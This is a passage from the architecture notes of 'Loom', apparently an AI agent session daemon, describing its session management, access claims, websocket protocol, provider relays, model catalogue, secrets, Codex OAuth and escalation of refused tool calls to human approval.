unknown session is `renames.NotOwner`; a bad name is `InvalidName`.
`rename_task` runs it in a weft run linked to the page's runtime, as
`resume_task` does, and `deliver` is its last act. The session page passes the
attachment's own session id; the home passes the row's, and is handed the
capability only for the owner on an operating page
(`home_rename_capability`), with `home_owner_accepts` admitting a submit
beneath `home.table_path` for that page alone.
- **Stopping, archiving and deleting from the home** (protocol-change/065, the
addendum on session actions). `home_manage_capability` hands `ask` to the
owner's operating home that a `loom ui` exchange opened (`fresh_home`, as the
Admin button), and `manage_for` re-derives it at the press: the page is fresh
and open, minted to operate, its credential authenticates as the owner
(`owner_operating`), the target is a canonical identity. A stop is
`manager.stop_session` then a `weft/poll` wait of `stop_wait_ms` for the
registry to hold the session saved; an archive is `manager.set_visibility` and
a delete `manager.delete_session` (owner and epoch checked again in the
registry's turn; `AdminBusy` is `actions.Running`). Every other refusal is
`NotOwner` or `Unavailable`. `manage_task` runs it in a weft run, as
`rename_task` does. `HomeAttachment.sessions_directory` is what a delete
removes from. No admission is added: the buttons' clicks are beneath
`home.table_path`. `admin.Start.ends_at` is read once in `admit_admin` from
`open()` (the table's monotonic clock) and carried to the wall clock. The
sidebar's archive action (protocol-change/065, the addendum on archiving from
the sidebar) adds `actions.StopArchive`, which `manage_for` runs as `stop_for`
then `archive_for` in the one task, and hands the session page the same
capability (`Transport.manage`, made in `upgrade` by `home_manage_capability`
over `page_standing`), so a bookmark's page, a member's and a page of one session
(`OneSession` reach) have none. `server.Attachment` gains `sessions_directory`
for it.
- **A session's subtitle.** The hub reports the first accepted human prompt on
the main strand through `Options.first_prompt` (`gateway.with_first_prompt`,
filled from `serve.Settings.first_prompt`, which `daemon/main` sets):
from the direct admission in `prompt_message` and from `admit_held` for a held
prompt or steer, once, as typed before skill expansion, and never for a
message with no text. The callee is `manager.seed_subtitle`, a cast to the
registry that calls `catalogue.seed_subtitle` in its own turn. `server.view_json`
adds `subtitle` only when present (protocol-change/067).
- `daemon/shareable`: `make(registry, digest, epoch, state_root, id)` makes a
private session shareable as stop, `manager.isolate`, resume, for the owner
only (it authenticates before the stop, which takes no caller). A saved session
is isolated and left saved; each refusal (`NotOwner`, `NotFound`,
`Unavailable`, `NotStopped`, `NotMoved`, `Stranded`, `NotResumed`) leaves the
session in the state its module table names, never half-isolated.
- `daemon/ui_relay`: the page's stand-in for a session socket. `start`
returns before the attach, which runs as the relay's first message and
answers on the component's `opened` subject, so a slow gateway cannot
hold Lustre's one-second start. It attaches with
`attach_authenticated_flushing`, its own pid as the socket, and a binding
and `check` capped by `capped(membership, ceiling)`: the least of the
membership, the ceiling and Operator, never Owner. The check is
`while_open(frame_authority, still_open)`, so revocation, expiry,
replacement and a role change all end the page. It ends on `Shut`, the
component's exit, the gateway's exit and the gateway's `close`,
detaching in each; `ui_socket` closes a quarter second after the
gateway's end so the ended state is drawn. Its reasons are
`web_view/ending` strings: the gateway's exit is `SessionStopped`; a
`close` (or a request the gateway answered as closed) makes the relay ask
the attachment's check again, and a UI session that is gone is `PageEnded`
(expired, or displaced as the oldest at the page bound)
where any other refusal or a changed capped authority is `AccessRevoked`,
and a check that passes unchanged is `SessionStopped` (the gateway closed
for its own reason; a failed request with an unchanged check is
`ConnectionFailed`). `ended` carries an `Ending`, not a string; a refused attach is `NotOpen`
unless the check named the page's end, and it now also calls `ended`, so the
socket closes. `server`'s refused page requests answer with
`page.refusal` (`refused_page`) under the status they always had; the
session identity in it is drawn only if it parses as a canonical one.
## Purpose
The single daemon and ClientGateway: one listener manages independently
owned sessions. It owns the Part 1.6 websocket protocol as total Gleam codecs,
a per-session hub actor that speaks it to any number of attached
connections, the `mist` websocket transport under that hub, the bridge
that decodes stored escalation JSON back into typed broker grants, the
scripted end-to-end demo that drives the whole M3 flow through the
protocol alone — and, as the tree's host package, the production wiring
adapter (`client/wiring`, promoted from conformance), the system
prompt's assembly and its durable pin (`client/system_prompt`), the four
seams that give a model other agents, code mode, recall over the
repository's own history and a memory that outlives a session
(`client/agency`, `client/codemode`, `client/history`, `client/memory`),
the distillation pipeline that fills that memory
(`client/distill`, a second entry point), plus the
`loomd` entry point (`client/daemon/main`). Startup restores the private
catalogue without opening runtimes. Explicit admission invokes
`serve.resolve_managed` and `serve.assemble_in_domain` for one saved registration.
## Key Types
- Daemon archive and restore requests enter `manager.set_visibility`, whose
serialized dispatch reauthenticates the owner, checks the daemon epoch, and
refuses any live runtime slot before changing catalogue visibility. Archive
listing is owner-only. Admission checks visibility before domain acquisition
or runtime assembly, including retries with an existing creation key. Restore
returns saved metadata without opening a runtime. The existing permanent
deletion command retains its file-removal contract.
- `client/session_git.prepare` writes the reserved `session/git-start` record
before the runtime writer starts. First activation probes HEAD through the
read-only worktree broker; restarts reuse the session/workspace-bound record.
Existing prompts without a baseline and inherited records from another
session remain unavailable. Store failures refuse boot; Git failures become
durable unavailable baselines. A web page's Changes tab reads the same
observation without the gateway: `serve.Instance.worktree` (projected to
`Resident`) is the closure the gateway runs, `ui_socket.worktree_capability`
hands it to an owner's or an operator's page only, and
`ui_socket.worktree_answer` re-runs the page's check, caps by the page's
ceiling and Operator, and runs it for Operator or Owner alone, inside
`worktree_task`, a weft run that returns at once (protocol-change/051, the
addendum of 2026-10-05). `worktree_diff.capture_since` adds a bounded
commit patch stream, including first-parent merge resolutions, to the same
owner-scoped observation and budget. Protocol 029 defines this optional field.
- `provider_relay` retains its initiating deadline, cancellation receipt, or
observer exit in `Relay.context` through the existing cancellation and proof
states. Startup refusal records cancellation receipt too. Forwarded failures
retain protocol 031 context; no diagnostic can certify owner retirement.
- Failed or stopped Agency waits preserve their terminal outcome and expose
saved observations as explicitly labelled partial reports. A missing final
answer can fall back to at most eight note excerpts. Notes remain mutable
strand state and are never attributed to the just-finished operation without
evidence; the result still carries the original structured notes separately.
- `client/skills` serves metadata pages from the assembly's immutable
`host/skill.Catalogue` and expands selected skills before prompt admission.
`client/skill_tool.tools` contributes `load_skill` through the existing
built-in contribution and deactivation path. Its definition advertises only
names and descriptions; its result discloses the selected complete document.
`gateway.Options.skills` carries the same capture to the human ingress.
- Daemon control `RenameSession` calls `manager.rename`, whose `Rename` message
reauthenticates owner and daemon epoch before `catalogue.rename` in the same
serialized dispatch. Its reply is a `View`; no runtime is opened or stopped.
[Protocol 019](../../protocol-change/019-session-display-names.md) keeps mutable
display labels separate from immutable creation-key metadata.
- `client/daemon/admin.Request` is the one-shot `loomd access` command,
now an alias of `host/access.Request`: the grammar, the exchange and the
printed lines live in `host/access`, which `loom access` runs too
(protocol-change/053 phase 2), and `admin` adds the daemon's own decoder as
a further refusal and the exit status. It reads existing private
endpoint/owner-token records, verifies the hello epoch, and sends one
control command through `host/websocket`. It never starts a daemon or opens
a conversation. The caller's bounded principal ID is printed before
sending. `list` and `show` send the owner-only `principals.list` and
`principals.memberships` (`protocol.ListPrincipals`,
`PrincipalMemberships`), which `manager.principal_page` and
`membership_page` answer after authenticating the owner in the registry's
own dispatch; `server.bounded_rows` keeps a page to 60,000 bytes on a whole
row. `invite` and `rotate` take `--ttl`,
`--claim-addr` (checked by `host/claim.remote_address`) or the exclusive
`--credential-digest`; their success prints the claim token only on
standard output, with a `claim_command` naming the address and never the
token (protocol-change/053). The reply is re-encoded from checked fields, so
no other field, and no bearer, can be printed. A timeout does not trigger a
retry.
- `client/daemon/server` serves a third route, `/v2/claim` (protocol-change
053). `claim_route` hashes an exact `Bearer loomclaim_<64 hex>` header, asks
`manager.claim_known` (exists and not void, else 401), and takes
`root.acquire_claim` (409 while another upgrade for the same claim is open).
The socket accepts one message of `protocol.max_claim_bytes`, sends a
`hello` with only `protocol`, closes after `claim_idle_ms` (2 s) without a
command, and closes after answering its one `credentials.claim`, whose
optional `name` rides `ClaimRequest` and `manager.claim` to the catalogue,
and a refused one is `invalid_name`
(`protocol.decode_claim`, which refuses every control command, as
`protocol.decode` refuses `credentials.claim`). Invitation and rotation mint
the claim with `host/claim.mint_token(token.production_entropy())`, store
its digest with a `bootstrap.system_time_ms` expiry, and reply `claim` and
`expires_in_ms`; no control reply carries a bearer.
- `client/daemon/peer_cli.Command` provides `loomd peer inspect`, `link`,
`unlink`, and `send` over that same private owner control transport. It
requires explicit source and target coordinates, wake policy for links, and
a stable caller-chosen message ID for sends. It emits JSON with the exact
coordinates and distinguishes refusal, unknown outcome, and partial
recipient revocation by exit status. Local discovery errors are classified
as not sent, and inspect follows bounded pages before returning one result.
It never starts a daemon.
- `client/daemon/manager.Administration` carries digest-only invitation,
membership, and principal-scoped credential changes. `Invite` and
`RotateMember` carry a `storage/access.Enrollment` (a claim digest with its
expiry, or the invitee's credential digest). `administer` checks
phase, current owner credential, and epoch in the same serialized dispatch
as the DAL mutation. Existing IDs conflict, revoked digests stay tombstoned,
and owner credentials are excluded from member rotation/revocation.
`manager.claim` runs `access.claim` in its own serialized `Claim` message
with a constant-time digest comparison (`broker/internal/ffi_crypto`), and
answers `ClaimRefused(access.ClaimRefusal)` or `ClaimUnavailable`. Both
`Administer` and `Claim` drop the frame-authority memo before replying, so
the memo's single-writer argument covers the claim's credential insert.
Invitation and membership-upserting role changes also require the persisted
`storage/domain.SessionOnly` scope. `isolate` checks owner, epoch, and absence
of every retained runtime slot before changing metadata; the wire requires
explicit acknowledgement that the existing transcript will be shared.
The domain record captures configuration at creation, not first admission.
- `client/daemon/manager.delete_session` is the only path that destroys
durable conversation data. It checks owner, epoch and the absence of a
runtime slot in one serialized dispatch, answers `AdminBusy` — `busy` on
the wire — when the session is anything but saved, removes the
registration with its memberships, workspace default and domain mapping in
one catalogue transaction, and only then unlinks the database and its
`-wal`, `-shm`, `-journal` and `.tmp` siblings. The durable rows go first
on purpose: an interrupted delete must leave files nothing refers to, never
a registration whose database is gone. The domain and everything distilled
into it survive, because a workspace's memory outlives any one
conversation. `protocol-change/019` and `docs/client-protocol.md` §3.16
carry the ruling.
These metadata checks do not substitute for mapped resource and recall
admission in the assembly layer.
- `client/daemon/main.{Config, Serving}` selects daemon-wide state, loopback
binding, capacity, and lazy session defaults. The binary rejects the removed
per-session flags; `ext` dispatch remains in `client.gleam` to avoid a cycle.
The `--help` and `-h` flags anywhere in argv — after daemon flags as
readily as first — and the bare word `help` in first position are
dispatched in `client.gleam` before daemon startup,
with the first `access`, `peer`, or `ext` word choosing the topic. `help` in any
other position stays a value: principal and display names are free-form.
Help prints
usage to stdout and never creates state or binds a listener.
Production startup reserves its OS PID/birth through `host/endpoint` before
opening the catalogue, then publishes the actual port and epoch only after
listener readiness. Shutdown retains the endpoint until the VM departs.
- `client/daemon/root.Root` retains the private catalogue, stable `owner.token`,
kernel lock, registry witness, and original listener-owner monitor. Its
`start_listener` publishes a parked `client/daemon/listener.Listener` before
`begin` releases socket acquisition. `control_state` permits existing control
sockets to inspect drain progress without widening `ready` or new admission.
Shutdown enters `Stopping` and runs held-input return in a bounded Weft task.
`manager.DrainHeld` snapshots resident callbacks; the task invokes them outside
the registry so authenticated delivery can call `frame_authority` there.
`root.Returns` consumes the task's final report before session cancellation.
`ConnectionClass.Claim(claim_digest)` is the `/v2/claim` parser class
(1 KiB, no delivery allowance). Every reservation passes `admission`, which
refuses a second `Claim` allocation for the same digest while one exists;
the allocation already lives from the HTTP request to the socket process's
DOWN, so that check is the whole one-upgrade-per-claim bound.
`acquire_claim` reports it as `ClaimInFlight` (409) apart from `NotAdmitted`
(503). Claim sockets are cancelled with session sockets at drain.
Task completion never replaces the original lifetime monitor's cleanup proof.
Connection admission uses startup-owned `[daemon]` limits, defaulting to
64 owners and 512MiB of accounted payload:
inbound message limits plus 8MiB of bounded delivery allowance per session
connection, with no exact BEAM heap/RSS claim. Only the original socket DOWN
releases a transferred reservation.
- `client/daemon/listener.Bound` carries the selected port and original Mist
supervisor. `terminate_supervisor` only requests shutdown; the original
supervisor DOWN supplies retirement evidence. Root shutdown retires sessions
before closing control sockets and the listener. Lost listener proof retains
the root's recovery-blocked lock.
- `serve.Settings.domain_paths` carries exact persisted memory and index paths,
including imported filenames and session-only mappings. The manager captures
the immutable `Domain` before `instance_host.prepare`, then passes it through
`Assembly.build` without exposing the catalogue connection. Managed resolution
uses the session registration's runtime configuration independently of the
domain's maintenance configuration. `None` preserves embedded fixtures' beside-session
layout. `serve.build_domain` resolves maintenance configuration independently;
`serve.assemble_in_domain` receives the original shared services capability.
- `client/daemon/domain.Services` retains one original `history.Shared` and an
optional parked `distillpass.DomainMessage` owner. `build` publishes Services
cleanup before starting history and Runtime cleanup before starting cadence.
The registry's capacity-bounded domain book includes closing and blocked slots;
waiting sessions consume session slots. `DomainOpened`, `DomainFailed`,
`DomainRetired`, and `DomainSettled` carry exact domain incarnation identities.
A normal `DomainRetired` remains authoritative even if a late builder result
or fault arrives. During ordinary closing it preserves parked waiters for
replacement; in other phases it stops remaining dependents.
- `client/internal/shared_history` prepares a parked original coordinator,
then owns its search index and at most one read-only history source. Source
metadata and bounded descriptor/fragment reads advance between actor turns.
`history.seam_for` binds calls to the current session, while
`supervised_shared_commit_pull` forwards session-bound commit hints. Fresh
source authorization precedes ranking and exact reads; stored index locators
do not grant access. Retirement succeeds only after actual close results and
the original owner exits normally. Failed close retains the owner and handles.
A call arriving while the owner is opening its index, or while it is indexing
a commit hint of its own, is held in a waiting list of at most eight and
admitted the next time the owner reaches `Ready`; the terminal phases
(`StartupFailed`, `Blocked`, retirement) drain that list with their own
reason. Only a call arriving while *another caller's* request is in flight is
refused immediately. Replies carry `tools/history.Refusal`, so the arm that
decides a refusal also decides its model-facing sentence: `IndexNotReady` and
`IndexBusy` say the request was fine and to send it again, and only
`IndexRefused` blames the request.
- `manager.Summary` reports session occupancy separately from `domain_capacity`,
`domain_occupied`, and `domain_blocked`. Saved session metadata does not prove
domain retirement. An open against a normally closing domain reserves a
parked session and immediately returns `Opening`; it consumes session
capacity while the original domain continues to consume domain capacity.
Only the original witness's normal exit permits a replacement domain to
start. The session operation selects replacement services after publication;
cancelled waiters never start, and cleanup failure cancels all waiters while
retaining the domain reservation. After the last clean session retirement, `notify_closed`
precedes `quiesce` from the same sender; the registry cancels the domain host
only after current and coalesced maintenance settles. A domain fenced while
admission is open is revived by the next open in the same domain, taking
back the same services with the cadence un-fenced along with them
(`domain.resume`), so a reopened workspace goes on distilling. Resume
withdraws the fence: the worker drops its parked replies, and the registry
replaces the settle subject. A reply already decided before resume can
still arrive, but the replacement selector cannot accept it as the account
of a later fence. A domain fenced during shutdown is never revived, and
neither is one whose maintenance
worker refuses the resume — that refusal fails the domain, exactly as a
refused quiesce does. An assembly fault reports `Stopping`
because Weft's ordered cleanup has already begun; only a cleanup failure
reports `RecoveryBlocked`, so `Summary.blocked` counts custody that will
never release. Failed cleanup retains admission capacity and prevents
normal daemon shutdown.
- `manager.Status` joins the live slot with the durable registration, and both
halves are load-bearing. Where there is no slot the catalogue state is the
answer: a record still `catalogue.Reserved` reports `Reserved`, not `Saved`.
Reading liveness alone made an unreconciled creation — an identity with no
database behind it — indistinguishable from an openable session in a listing,
and every selection of one was refused `NotInitialized`. `tui/daemon/selection`
now declines such a row locally and names the create retry it needs.
- `manager.StartFailed` is distinct from `manager.StaleOperation`. A build that
returns an error has its slot deleted the moment ordered cleanup drains,
usually before the requesting terminal's first `operations.get`, so the read
would otherwise be answered "some replacement overtook you" for an open that
never started. `Book.failed_operations` remembers the failing operation per
session — one entry each, capped at the slot limit, dropped when that session
opens again — and the reason itself is deliberately not kept: it can name the
session path, and `daemon.session_start_failed` already carries the class.
- `client/daemon/main.start_class` classifies a start failure into a stage, a
class, and the structured detail that class permits. Only values proven free
of a path or a credential may be logged, which is why the reason string is
matched rather than recorded. The one exception is an `executor_unavailable:`
reason: `executor_detail` logs it as `reason` (clipped to 512 bytes) unless it
contains a path separator, in which case the class alone is logged, because
a storage error and an executor's own sentence can name a path.
`serve.storage_open_refusal` renders a held
writer lease with its expiry so the classifier can emit class `lease_held`
with `lease_expires_at_ms` — after an unclean exit that expiry is the entire
answer to when the session reopens. See
`docs/architecture/sessions.md`, "Reopening after an unclean exit".
- `client/daemon/manager.{frame_authority, FrameRefusal}` — per-frame
authorization is one registry dispatch that answers the daemon epoch, the
session incarnation and the session authority together, widest fence
first, and is still a live read on every check. The four refusals
(`StaleEpoch`, `StaleIncarnation`, `Unauthorized`, `RegistryUnavailable`)
stay distinct so the transport never reports a revocation as an outage.
The control listener keeps using `session_authority`.
- `client/internal/instance_owner.{Owner, Part, CloseOutcome}` retains
published cleanup independently of a builder. Weft orders builder exit
before the holder's cleanup run; `StillClosing` and `RecoveryBlocked`
retain reservations rather than authorizing replacement. Cleanup order is
`Runtime`, `ToolConfig`, `Services`, `Broker`, `Helpers`, `Mcp`, `Storage`,
`Namespace`. The publication
handoff in `instance_owner.start` and the registry handoff in
`lifetime.start` are both bounded at five seconds, and `distill_owner`'s
cleanup run carries a wall deadline, so a wedged start or close settles
with a verdict instead of holding the registry forever.
- `client/internal/instance_host.Host` separates parked preparation from
assembly. The long-lived registry must call `prepare`, retain the witness
and monitor it before `begin`; Weft scope lifetime includes its creator.
The builder remains alive after a successful open. The daemon entrypoint
uses these owners through `manager.Assembly` and `serve.assemble_in_domain`.
- `client/protocol.{CommandEnvelope, Command}` — the client→server
envelope `{v, id, cmd, body}` and its seventeen commands (`Subscribe`,
`CatchUp`, `Prompt`, `PromptContent`, `Steer`, `FollowUp`, `Abort`,
`Approve`, `Deny`, `Fork`, `Navigate`, `Compact`, `CreateStrand`,
`ListModels` (wire name `models`), `SetConfig`, `ListSchedules` (wire name
`schedules`), `CancelSchedule` (wire name `schedule_cancel`)) plus `UnknownCommand`,
which keeps an unrecognized name as data. `HistoryLineage(from)` (wire name
`history_lineage`) is the strand-scoped history read (protocol-change/072): it
begins a bounded transfer (`transfer.Lineage`, step `ReadLineage`, checked by
`accept_lineage`) of the records on the path from one entry down its parent
links, at most 100 and 2 MiB, oldest first, from `snapshot_reader.lineage`. A
client names a strand by its leaf and pages by the parent of the oldest record
it holds, so the transfer has no cursor (`more_after` is null). It is
read-only, so an observer's attachment may issue it, and it is authorized per
frame as `history` is.
- `client/protocol.{EventEnvelope, Event}` — the server→client envelope
`{v, reply_to?, event, seq?, body}` and its events (`SnapshotEvent`,
`EntryEvent`, `OpTransitionEvent`, `StreamDeltaEvent`, `UsageEvent`,
`UsageObservationEvent`,
`EscalationEvent`, `StrandResultEvent`, `ErrorEvent`, `UnknownEvent`),
with `Snapshot`, `Strand`, `LiveOp`, `EntryRecord`, `EscalationRecord`,
`Denial`, and `ModelInfo` as the body shapes (`ModelsSnapshot` is the
`models` command's reply).
- `client/protocol.{ListSchedules, CancelSchedule, SchedulesSnapshot,
ScheduleInfo, ScheduleWake}` — the operator's scheduling surface,
`protocol-change/013`. `schedules` `{}` lists every schedule the
session holds — operator `[[schedule]]` tables first, then every live
model-created cell — as a `snapshot` mode `schedules`; `schedule_cancel`
`{target, name}` retires one model-created schedule and replies with
**the listing as it stands after the cancel**, so a client re-renders
from one round trip. A row is `{name, target, owner, when, wake, fired,
body}`, every field always present: `{target, name}` is a schedule's
durable identity, which is why both are required on a cancel; `owner`
is the wire string a client renders (`"operator"`, or the owning
strand's name) rather than a discriminated type, because the host knows
which kind a row is and a client cannot; `when` is
`scheduleseam.describe_timing`'s rendering, printed verbatim and never
parsed; `wake` is the wire's one boolean here, and in Gleam it is
`ScheduleWake { WakesIdle | SteersOnly }` with the boolean confined to
the codec — 012 declined the "frozen contract" escape for a `Bool`
while the field was still being minted. Refusals: an operator table is
`conflict` naming the configuration file and the restart; nothing live
is `bad_request` (a name never used and one already cancelled are the
same absence, since the store keeps no tombstone); a hub with no
scheduling plane answers `schedules` with an empty listing on the
`models` posture and `schedule_cancel` with `unsupported`, because a
cancel that cancelled nothing must never read as one that worked.
- `client/protocol.ProtocolFault` — what a malformed frame decodes to;
nothing here crashes.
- `client/gateway.{Gateway, Options, Message, start}` — the hub actor,
one per served session, over a `runtime/api.Runtime`.
`with_catalog` and `with_registry` supply the two things `set_config`
validates against: the model catalogue behind `model_name`, and the
registered-name projection behind `active_tools` (derived from the same
registry the effect wiring dispatches through; without one, active-set
changes are refused in band).
- `client/gateway.{attach, detach, handle_text}` — the transport seam: a
connection is a `fn(String) -> Nil` sink, inbound frames arrive as
text, and nothing in the module knows about sockets. `attach` returns
`Error(Nil)` when no hub incarnation is bound; the WebSocket transport
closes that attachment rather than retaining an invented connection ID.
- `client/gateway.{commit_forwarder, supervised_commit_forwarder,
tap_provider, tool_output_observer, with_bus}` — the composition-layer
seams: the runtime writer's post-commit publication becomes a pull
hint; an injected `effects.ProviderSurface` is wrapped so provider
deltas tee to the hub while the runtime's effect process consumes the
stream unchanged; and `tool_output_observer(bus, session)` is the
`wiring.Config.observe_output` resolver that publishes each running
call's output window on the bus as `ToolOutput` under the session's
canonical id, which the hub — given the same bus by `with_bus` — pushes
to subscribed peers as `tool_output` (`protocol-change/031`). The
wrapper forwards explicit cancellation and monitors that effect process;
either cancellation or consumer death tears down the inner handle. The
forwarder binds a reclaimable Weft reference address. The writer's
`Routed` subscription resolves it for each hint, so a restart neither
requires resubscription nor interrupts the writer.
`tap_provider_with(surface, to:, also:)` is `tap_provider` with a second
observer factory on the same relay: `also(spec, generation)` is asked
once per request with the hub's own request identity, and its callback
sees every stream event after the hub's. `client/serve` passes
`blocksummary.observer`, so the live summary feed costs a callback and
no extra relay processes.
- Provider observation layers retain the inner preparation capability and its
timeout. `provider_relay.observing` and `previewing` build both outward
facades from that capability, so adding a layer does not recursively copy
both facades of every predecessor. Preview factories still execute in the
observer process. `extension/hooks.wire` similarly captures each wrapped
hook or tool function before the record update. Copy-size regressions cover
sibling-slot independence and every provider observation layer.
- `client/provider_relay.{prepare, wrap}` — the shared provider-wrapper
ownership seam: `prepare` returns a minimal public custodian before it
releases the guard, while `wrap` is the prepare-and-begin compatibility
facade. The
guard remains the inner surface's direct consumer, and a separately
monitored observer runs the synchronous callback before each event is
forwarded. The guard installs its drain monitor on the inner owner before
`begin`, and the custodian
adopts the guard, leaf observer, and transitive inner stream owner before
each begins work. A terminal is not forwarded until that original monitor
reports a normal exit. Cancel travels inward, an unacknowledged cancel
becomes terminal `CancellationUnconfirmed` after one fixed grace, and the
custodian remains alive until the registered subtree drains. Guard or
observer death becomes a prompt in-band transport failure only after that
drain is proved.
The guard itself is a **`weft/state_machine`**, started `sm.unlinked` by the
consumer it serves so a guard crash reaches the custodian's worker adoption
rather than the consumer's link. Its state ADT is `Phase` — `Parked` (the
wait for the begin permit), `Forwarding`, `Cancelling`, and the three ways
this relay ends (`ProvingTerminal` holding the terminal the observer has
already seen, `ProvingFailure` bounding the drain wait after the relay's own
worker failed, `Proving` waiting out an answer already sent or deliberately
withheld). Its data is `Awaiting` before the permit and `Relaying` after it,
which is where everything that moves per event lives: the outstanding
observation, the events queued behind it, and the inner owner's drain proof.
Both deadlines are therefore structural rather than scheduled: the
cancellation grace is a **state timeout** on `Cancelling`, which is what
makes it one fixed proof deadline a flood of late deltas cannot renew, and
the request deadline is an **event timeout** re-armed by each forwarding
step that leaves the guard waiting on the inner stream. A parked guard
selects three things — the permit, the control subject, its consumer's
monitor — because the stream's own channels are created by the work the
permit authorises, in that process; the same step that grants the permit and
transitions to `Forwarding` or `Cancelling` widens the mailbox with
`sm.with_selector`.
- `client/server.{Config, Auth, Server, serve}` — the `mist` websocket
transport on `/v1/ws`; `LocalAuth(token_path)` mints a startup token
into a `0600` file, `BearerAuth(token)` is the caller-supplied one. The
whole surface is `@internal`: it attaches through `gateway.attach` with
one shared bearer and no principal or role, which protocol-015 leaves no
production route for, so only this package's own tests may start it. The
daemon listener in `client/daemon/server` is the production route.
- `client/install.{root, helper, helper_name, gleam_compiler, erl, seed,
seed_directory, existing_file, existing_directory, bundled_helper,
bundled_seed, first_of}` — where this Loom is installed, and what ships
beside it. `root()` is `code:root_dir()`: the unpacked release tree for
a release, the OTP installation root for every other run. Everything
else is a path built onto it and *probed*, so existence is the whole
discriminator and nothing special-cases a development host. `erl()`
names `erts-<vsn>/bin/erl` with the version read from the live system
rather than globbed for, so it is the emulator actually running the
harness. `first_of` is the ladder itself — the first rung that answers
wins, and no rung below it is evaluated.
- `client/grants` — decoding the runtime's opaque escalation JSON back
into `broker/policy.Grant`, and encoding it again. Pure and total.
- `client/escalate.{Config, Message, Refused, Decision, Escalations,
seam, start, none, record_id, action_digest, action_preview,
default_config}` — parking: what a production tool call does when the
broker refuses it on policy. `seam` closes over a process *name* (the
Agency's knot, the Agency's answer) and `start` puts the runtime
behind that name after `api.open`; `record_id` is the deterministic
`{strand, tool, wanted diff}` digest a retry loop dedupes onto, with a
limit grant contributing its field and not its model-supplied
magnitude; `action_digest` is the *other* identity, over the call's
effective arguments canonicalised (objects key-sorted recursively,
arrays left ordered), which is what an approval binds to;
`action_preview` is its bounded human rendering, display-only and cut
at 2 KB on a codepoint boundary; `Config.max_records` caps the
distinct wants a session will file and `Config.max_asks` caps the
questions any one of them may put; `none()` is the no-plane seam under
which a refusal settles exactly as it did before escalations existed.
- `client/gateway.attached` — how many connections are attached right
now. The honest answer to "is a human there?", which is what the
escalation seam asks before it holds a call open. A hub that is gone,
that dies mid-question, or that does not answer inside a second all
count as nobody attached rather than exiting the asker.
- `client/catalog.{Catalog, CatalogModel, Dialect, parse, gateway}` —
the model catalogue: a total, strict parser for the `loom.toml`
format (via the `tom` TOML package; `docs/examples/loom.toml` is the
worked example) and the builder that turns a catalogue into the
provider gateway's registry — one provider per entry, named by the
entry (so durable identities store `{catalogue-name, model_id}`),
one route per `[roles]` row, a positive per-model `max_images` limit
(default eight), and one rate card per entry that carries
an optional `[models.<name>.pricing]` table (US dollars per million
tokens; `input` and `output` required, the two cache rates defaulting
to `input` so the default over-reports rather than hiding spend). An
entry with no table is unpriced and its usage records keep the zero
cost the adapters write. The hub serves it as the `models`
listing and resolves `set_config`'s `model_name` against it; `serve`
loads it from `--config` or shapes a one-entry catalogue from the
`LOOM_*` environment. `Catalog.lsp_servers` is decoded by
`client/lsp/profile.decode_servers`, not here: `catalog` checks only
that `[lsp]` is a table and hands over its entries.
- `client/secrets.{Source, Entry, Failure, Capture, Runner, parse,
resolve, store, host_runner}` — the `[secrets]` table of the same
`loom.toml`: how the daemon *obtains* a named credential the operator's
shell never exported. One source today, `Command(argv)`, run on the
host and outside every jail with the daemon's own environment, bounded
by `default_timeout_ms` (10s), stdout less one trailing newline as the
value — and empty stdout is a failure rather than an empty value, so
such a name keeps falling through to the environment. The entries run
on each session create and open rather than once per daemon, so a
rotated token is picked up with no restart, at the price of one serial
pass over the entries per open. `store` layers the resolved pairs over a
base `provider/secret.SecretStore` — resolved name wins, everything
else falls through to the process environment — and that layered store
is `Settings.secrets`, the one seam `api_key_env` (models and MCP), an
extension's bound egress secret, and `[tools] env` all read. A failed
entry is a `secrets.unresolved` warning carrying the name and an exit
status, never output and never a refused session.
- `client/catalog.OpenAiResponses` — the `openai-responses` dialect requires
`auth = "api-key"` and a nonempty `api_key_env`, and defaults to
`https://api.openai.com/v1`. The existing `openai` spelling remains
Chat Completions. Older dialects still refuse `auth`; all API-key entries
refuse `profile` and arbitrary `headers`.
- `catalog.CodexSubscription(profile)` requires `auth = "codex"` and a
bounded ASCII profile name for the compatibility `codex-subscription`
spelling. It rejects `api_key_env`, `base_url`, and arbitrary `headers`.
`catalog.gateway` registers a
`provider/gateway.CodexSubscriptionProvider`; `serve.adapter_api` keeps the
distinct `"codex-subscription"` durable identity. Inference uses the fixed
public Responses API with the native SIWC grant. Authenticated `/v1/models`
exposes account-visible IDs only; context and reasoning properties remain
catalogue configuration.
- `client/codex/profile_control.{Command, ControlEvent}` is the native operator
vocabulary, passed over an in-VM `Subject` and never over a wire.
`Status`, `LoginBrowser`, `Logout`, and `Models` enter
`codex/transport.command`; the CLI monitors its parked `http.PreparedRequest`
before calling `begin` and accepts completion only after normal owner drain.
Events are closed types: `Permission` (`PlanEnabled`, `IdentityOnly`) and
`SignIn` (`SignedOut`, `SignedIn(permission)`) replace status strings.
`LoginInstructions` carries the bound loopback port, and the CLI builds the
literal `/auth/start` URL from it with `oauth.start_url`, never the issuer
redirect or returning identity hint. There is no device command.
- `client/codex/transport.{transport, command, prepare_with}` owns each native
operation in one witnessed managed task. Its worker creates and publishes
its own begin subject before preparation returns. The same `weft.Ledger`
covers authentication HTTP, the callback listener, and inference HTTP;
every owner is adopted before admission and its original drain witness
remains required after cancellation or worker loss.
- `client/codex/credentials.{Binding, Grant}` keeps issued client, stable host
URI, verified subject, and optional grant in a bounded private versioned
record. `profile.{auth, execute}` acquires an existing kernel launch lock
for each bounded credential operation, rereads the record, and saves
rotation atomically. It releases the lock before inference starts, permits
several profiles without a VM-global token cache, and allows control while
a stream is active. Login holds the lock for the browser attempt; contending
operations can report `profile_busy`.
- `client/codex/oauth.{Services, Attempt, Callback}` owns browser PKCE,
dynamic-to-issued client registration, state, nonce, refresh and revocation.
`oidc.Verification` distinguishes browser nonce validation from refresh
subject continuity. Gose pins RS256 to the fixed issuer JWKS and validates
issuer, issued-client audience, expiry and subject; multiple audiences
require a matching authorized party. Identity-only grants are saved,
including grants without a refresh token, while plan inference requires
`resource.invoke` and `chatgpt.tokens.use.direct`.
- `client/demo.run` — the M3 acceptance flow end to end, executed as a
test and runnable as `gleam run -m client/demo`.
- `test/client/tui_e2e_test` + `test/support/terminal` — the real
`loom` binary against a real `serve.boot`, in a real terminal
(`tmux` on a socket minted per run from the VM's OS pid, declared
geometry, every wait a predicate over pane content with a deadline). Neither
side of the protocol is fake; only the model is scripted. The socket name
must stay unique per run: `tmux -L` sockets live in one per-user directory
shared by every checkout, and a fixed name once let a concurrent run's
